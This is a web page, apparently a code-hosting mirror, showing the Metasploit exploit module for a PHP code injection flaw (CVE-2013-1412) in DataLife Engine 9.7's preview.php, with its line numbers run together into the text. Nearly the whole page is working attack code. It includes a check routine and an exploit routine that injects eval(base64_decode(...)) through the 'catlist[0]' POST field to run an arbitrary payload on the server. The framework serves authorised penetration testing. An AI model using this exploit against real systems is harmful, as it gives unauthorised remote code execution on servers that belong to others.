Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/datalife_preview_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'DataLife Engine preview.php PHP Code Injection',13'Description' => %q{14This module exploits a PHP code injection vulnerability DataLife Engine 9.7.15The vulnerability exists in preview.php, due to an insecure usage of preg_replace()16with the e modifier, which allows to inject arbitrary php code, when there is a17template installed which contains a [catlist] or [not-catlist] tag, even when the18template isn't in use currently. The template can be configured with the TEMPLATE19datastore option.20},21'Author' =>22[23'EgiX', # Vulnerability discovery24'juan vazquez' # Metasploit module25],26'License' => MSF_LICENSE,27'References' =>28[29[ 'CVE', '2013-1412' ],30[ 'OSVDB', '89662' ],31[ 'EDB', '24438' ],32[ 'BID', '57603' ],33[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],34[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]35],36'Privileged' => false,37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Payload' =>40{41'Keys' => ['php']42},43'DisclosureDate' => '2013-01-28',44'Targets' => [ ['DataLife Engine 9.7', { }], ],45'DefaultTarget' => 046))4748register_options(49[50OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]),51OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"])52])53end5455def uri56normalize_uri(target_uri.path, 'engine', 'preview.php')57end5859def send_injection(inj)60res = send_request_cgi(61{62'uri' => uri,63'method' => 'POST',64'vars_post' =>65{66'catlist[0]' => inj67},68'cookie' => "dle_skin=#{datastore['TEMPLATE']}"69})70res71end7273def check74fingerprint = rand_text_alpha(4+rand(4))7576res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//")7778if res and res.code == 200 and res.body =~ /#{fingerprint}/79return Exploit::CheckCode::Vulnerable80else81return Exploit::CheckCode::Safe82end83end8485def exploit86print_status("Exploiting the preg_replace() to execute PHP code")87res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//")88end89end909192